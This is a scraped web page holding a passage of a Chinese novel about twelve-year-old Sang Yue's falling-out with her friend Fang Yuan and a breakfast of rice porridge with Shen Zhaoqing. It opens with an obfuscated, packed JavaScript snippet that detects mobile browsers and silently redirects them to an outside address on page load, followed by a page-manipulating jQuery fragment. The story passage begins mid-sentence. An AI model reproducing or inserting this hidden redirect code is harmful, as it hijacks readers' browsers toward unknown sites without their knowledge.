;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15191563|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么你没拿过三好,宋书豪就帮你拉票,我也没有拿过,你们有没有考虑过我的心情?我们不是一样的朋友吗?” 桑悦愕然,“可……” 可是,方圆这次并没有进入年级前十五。 她比自己还偏科,英语次次满分,数学只能勉强过80分的良好线,总分匀一匀,年级排名都到40名以外了,连上投票名单的资格都没有。 方圆打断她,继续自己说自己的:“之前你报名参加少年宫的船模赛,宋书豪就自愿跟你一组,比赛当天你的船模马达烧了,他还把他备用的马达换给你。那个马达是他自己焊的,比他自己参赛用的那个还好用。但我只能一个人去参加建模比赛。” 两个比赛在同一天,一个人没法参加两项。 桑悦被这么控诉,也觉得很头大,“可是建模本来就是单人赛啊,不能组队,你想参加船模,为什么不跟我们讲?” 方圆眼圈都红了,气鼓鼓地回答道:“你们那么快就说好了!让我后面再怎么说?!” “……” “反正你就是这样,永远都以自我为中心,总是你想怎么样就不管不顾地直接说出来,一点都不觉得尴尬,好像别人不答应你就对不起你一样。我今天就是故意投的宋书豪,谁知道你只和班长差一票。你想和我绝交那就绝交吧。” …… 12岁的桑悦,人生中第一次面临友情失控的情况。并且,在此之前,她甚至都不知道方圆对她有那么大的怨气。 这可真是一件复杂的事情。 虽然桑悦总是自诩自己已经长大了,马上就是初中生了,但她好像还是没法处理好这个问题。 方圆从那天开始一直没再理桑悦,哪怕桑悦试探性地主动跟她说话,她也只装作没听见,兀自一声不吭地走开。 每逢想起,桑悦总免不了长长地叹口气:“唉——烦死了。” 房间的另一边,沈照清在餐桌上放下早餐,叫她:“桑悦,吃饭。” 桑悦今天老早就从家里跑出来,连牛奶饼干都没吃。大人们也没顾得上她。 到这会儿,躺着转了那么久脑筋,好像确实感觉有点饿。 她慢吞吞地从沙发上坐起来,走到桌边,探头看了两眼。 和桑悦的四体不勤五谷不分不同,沈照清大部分时间都一个人在家,需要自己照顾自己,锻炼到现在,已经能简单地炒两个家常菜了。更别说早饭。 他不再拿蓝罐曲奇或是其他进口饼干敷衍,而是捣鼓了一锅热气腾腾的泡饭,又开了罐黄泥螺,配上老卜头(萝卜头)、酱瓜、玫瑰滋腐(腐乳),都是上海人家喜欢的就饭菜。 桑悦之前在家吃过几次,一直念念不忘。 但罗英觉得这种都是腌制菜,没营养,对身体不好,一般不让她吃。 不知道从什么时候开始,沈照清家的冰箱里开始备上了这种各色罐头。桑悦有时候嘴馋了,就跑过来蹭一点,瑟瑟(杀杀)馋虫。 两人各自打了碗泡饭,面对面坐下。 沈照清刚刚听到她在唉声叹气。 事实上,桑悦和方圆吵架那天,他就在走廊外面等桑悦做完值日一起回家。不过两人连宋书豪都刻意避开,更不会让教师外面的人听到。所以沈照清也是后来才知道的原委。 他扒拉了两口泡饭,主动开口道:“别想了。你没做错,管人家怎么想。” 桑悦:“可是方圆是我的好朋友啊。我当然要在乎她怎么看我。” 沈照清抿了抿唇,声音压低几分,“……只在乎我不行吗?” 桑悦没听清,问:“你说什么?” 沈照清摇摇头,“我说,如果不能喜欢全部的你,这样的朋友不算最好的朋友,只是普通朋友。所以别难过了。我妈昨天晚上打电话回来,说后天带我们去吃肯德基。”